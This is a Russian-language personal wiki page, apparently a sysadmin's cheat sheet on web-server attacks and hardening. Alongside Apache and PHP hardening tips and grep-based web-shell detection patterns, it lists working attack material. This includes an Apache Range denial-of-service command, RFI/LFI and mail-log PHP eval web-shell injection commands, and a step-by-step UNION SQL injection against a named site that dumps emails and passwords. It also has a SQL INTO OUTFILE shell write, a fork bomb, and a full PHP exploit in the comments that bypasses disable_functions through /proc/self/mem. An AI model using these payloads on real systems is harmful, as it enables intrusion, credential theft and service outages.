Site Tools


crack

Пример зловредов на страницах сайтов

Apache -> Range:bytes

Проверяем, на возможность дырки

< Apache/2.2.21 (Unix)

curl -I -H "Range: bytes=0-1,0-2" -s http://78.108.93.116/images/logofullsize.png | grep Partial

Если “HTTP/1.1 206 Partial Content” значит дырка есть

Атакуем

1 2

cpan -i Parallel::ForkManager
perl killapache.pl3 example.com 100 /dir/to/static/file.jpg
Защищаем Apache
# a2enmod headers

echo RequestHeader unset Range >> /etc/apache2/conf.d/security
echo RequestHeader unset Request-Range >> /etc/apache2/conf.d/security
/etc/init.d/apache2 restart
Защищаем Apache через .htaccess

Вариант 1:

RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-[0-9]+, [NC,OR]
RewriteCond %{HTTP:Range} bytes=([0-9-],){4,} [NC,OR]
RewriteCond %{HTTP:Range} bytes=[0-9,-]+,0-(,|$) [NC]
RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]

Вариант 2:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [F]

Вариант 3:

RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-.* [NC]
RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
Защищаем Apache за Nginx
В nginx.conf:
proxy_set_header Range "";
proxy_set_header Request-Range "";

Include

Remote File Include (RFI)

Simple

http://conconovaloff.narod2.ru/r57shell.php
Необходимо: allow_url_include = 1
Пример кода:

index.php
<?php
print("this is paje <br>");
print($_GET["file"]."<br>");
include_once ($_GET["file"]); #[include|include_once|require|require_once]
?>

site.ru/index.php?arq=http://path.to.ru/shell.php
shell может быть как в текстовом виде (при переходе получаем текст), так и отдоватьяс php файлом

with Filter

Пример кода:

$dir = $_GET['dir'];
$dir = str_replace(array('http://','ftp://','/','.'), '', $dir); //фильтр
$dir .= '/pages/default.php';
include($dir . '/pages/default.php');

http://site.ru/index.php?dir=data:,<?php eval($_REQUEST[cmd]); ?>&cmd=phpinfo();

Пример кода:

...
$dir = str_replace(array('_',']','[',')','(','$','http://','ftp://','/','.'), '', $dir);
$dir = htmlspecialchars($dir);
...

http://site.ru/index.php?dir=data:;base64, PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8+&cmd=phpinfo();

Local File Include (LFI)

Заливаем php код в изображение
Заливаем php код в логи Apache
Заливаем php код в логи файлы сессий
Заливаем php код в /proc/self/?

/proc/self/environ - Общий для программ файл переменных
Задача: подсунуть переменную с зловредным годом и произвести локальный инклуд

curl "http://site.com/index.php?page=../../../../../../../../proc/self/environ&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Задача: открыть файл логов Apache из proc

curl "http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
Заливаем php код в почту

Шлем письмо

telnet 172.16.0.10 25
  ehlo cc10.site
  mail from:any@cc10.site
  rcpt to:www-data@localhost #Если угадаем пользователя httpd, то имеем доступ на чтение
  data
<?php passthru($_GET['cmd']);?>

Возможные директории почты: /var/mail ; /var/spool/mail

curl "http://site.com/index.php?page=../../../../../../../../var/mail/www-data%00&cmd=phpinfo();" #[%00]

SQL injection

Simple injection
http://www.asdlionhear.com/page.php?idSection=1' # с ковычкой на конце, получили "warning mysql_fetch_array supplied argument is not a valid mysql result resorce"
http://www.asdlionhear.com/page.php?idSection=1+order+by+27-- #SELECT * FROM `db` WHERE 1 order by 27 # Смотрим колличество столбцов в таблице
http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables+limit+53,1-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM information_schema.tables LIMIT 53,1
http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x75736572
http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,concat%28email,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,concat(email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM users
Работа с файлами

union select 1,load_file('/etc/passwd'),1,1,1;

Blind injection

Защищаемся

Общее

  • Обновления ПО. #Новые версии как правило поступают не по причине улучшение, а для закрытия дыр.
  • Меняем пути к административной панели, закрываем ее .htpasswd или блокируем доступ по IP

Ищем

  • В логах ошибок ищем mysql_fetch_array,
  • find / -perm 5755 #ищем suid
  • В логах доступа ищем select, information_schema, order+by, concat, cmd, Кто входил в админку
find . -iname "*log*" -type f -exec gzcat -fc {} \; | awk '{print $7}' | grep -Hi --colour 'select\|union\|information_schema\|order+by\|concat\|cmd\|system\|base64\|exec\|passthru\|union\|shell'
grep -i customlog /etc/httpd/conf/httpd.conf | grep -v ^" "*# | xargs ls -1 | xargs grep -Hi --colour 'select\|union\|information_schema\|order+by\|concat\|cmd\|system\|base64\|exec\|passthru\|union\|shell'
grep -iRH --color 'shell\|Hacker\|base64_dec\|eval(\|r57shell\|var _0x' ./
find . -iname "*.php" -exec grep -iRH --color 'shell\|Hacker\|base64_dec\|eval(\|r57shell\|var _0x' {} \;
find ./ -name '*.php' | xargs grep -E --color '[0-9a-zA-Z/]{80}|[0-9 ,\.]{80}'
find ./ \( -iname "*.png" -o -name "*.jpg" -o -name "*.gif" \) -exec grep --color "base64_decode\|php" {} \; #поиск php в изображениях
@error_reporting
@session_start()
  • Ищем папки с нежелательными правами
find / -type d -perm 0777
find /var/tmp /tmp -type f -perm /a+x  -exec ls -la {} \;
  • Смотрим процессы, которые представляют себя за Apache:
/etc/init.d/httpd stop && ps waux | grep apache

Защищаемся со стороны PHP

Редактируем php.ini или переключаемся на CGI для редактирования php.ini и указываем
; запрещаем выполнение опастных функций
disable_functions = pcntl_fork,leak,exec,passthru,shell_exec,apache_child_terminate,apache_setenv,define_syslog_variables,system,proc_open,popen,openlog,virtual,symlink,link,assert
; включаем safe_mode (Удалена в PHP 5.4.0.) http://www.php.net/manual/ru/ini.sect.safe-mode.php
safe_mode = On
; Все скрипты должны иметь uid пользователя от которого запускается apache
safe_mode_gid = Off
open_basedir =
register_globals
doc_root

Или редактируем .htaccess
php_value open_basedir "/home/u/user"
register_globals
Логирование mail()
http://boombick.org/blog/posts/77
#Проверяем, что опасные функции выключены.
<?php
echo("shell_exec\n");
echo(shell_exec("date"));

echo("exec\n");
echo(exec("date"));

$buff;
echo("passthru\n");
echo(passthru("date", $buff));
echo($buff);

echo("system\n");
echo(system("date"));
?>
Отслеживание изменения файлов

Можно реализовать при помощи md5sum. К примеру: http://anton-kuzmin.blogspot.com/2011/01/blog-post.html

ресурсы

По для авто-проверки ОС и файлов

maldet -u
maldet -a .
maldet --report 102513-2146.1286

rkhunter  # --update ||  --check --logfile /tmp/rkhunter.log  #OR chkrootkit
clamscan --recursive --infected
aibolit # не тестировал
  • Вопрос\ответ по clamscan
  • Q - Обнаружет ли вирусы для Unix? A - Да.
  • Q - обнаружет ли шеллы? A - Да. #./r57shell.php: HTML.Exploit-13 FOUND
  • Q - Внутри архива? A - Да. #./Top_100_Shells__.com.rar: PHP.Shell-21 FOUND
  • Q - iframe? A - К сожалению, пока небыло успешного опыта их сканирования.
  • Q - Обновить базу? A - freshclam
  • Q - Проверить удаленный сервер? A - Через pipe не получилось, но sshfs и ftpfs отлично работают.

TMP

ForkBomb
:(){ :|:& };:

Защищаемся: 1
Отслеживаем следы использования: ?

-> Есть доступ к [My]SQL и запись для mysqld в папку сайта

Возможность залить php код через SQL запрос:

select user(); #кто мы?
select file_priv from mysql.user where user='root'; # есть ли у нас доступ к mysql.user
select '<?php eval($_REQUEST[cmd]); ?>' from mysql.user into outfile '/var/www/some/data/www/test.ru/tmp/wow.php';

phpMyAdmin ⇐ 2.11.9 очень подвержены взлому, но и очень редки (работают на php3)

Инструменты автоматического анализа ИБ

armitage → Nmap + metasploit
nessus
BackTrack → Дистрибутив с предустановленным набором программ.
rkhunter - rootkit hunter. Автоматическая проверка локального unix на наличие известных rootkit + подмена утилит и модифицирование сис.файлов. nikto → Только для web
Only windows
acunetix → Только для web

+1 тенденция

Пример строки:

function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));

Описание: http://support.datacenter.by/index.php?/Knowledgebase/Article/View/32/0/dos-bank-of-amerika

Discussion

Constantin Conovaloff, 2015/06/15 17:09

Много дырок возникает из за отсутствия проверок симлинков. Типичный пример: установка файлов сайта скриптом в домашнюю директорию сайта. Если вместо директория сайта указать симлинк на /etc/, то скрипт запущенный с root правами может умудриться записать в /etc/ файлы сайта. Еще один пример: Nginx запущен от root и отдает статику. Мы создаем симлинк с именем some.txt и линкуем его c /etc/hosts. В итоге, обращаясь к some.txt через nginx, он имея root права он откроет /etc/hosts

Constantin Conovaloff, 2015/08/17 21:46

https://rdot.org/forum/showthread.php?t=3309 Обход disable_functions в PHP

<?php

/*

$libc_ver:

beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so

$open_php:

beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open

$system_offset and $open_offset:

beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5

*/

function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";
You could leave a comment if you were logged in.
crack.txt · Last modified: 2013/10/26 02:51 by conovaloff

Page Tools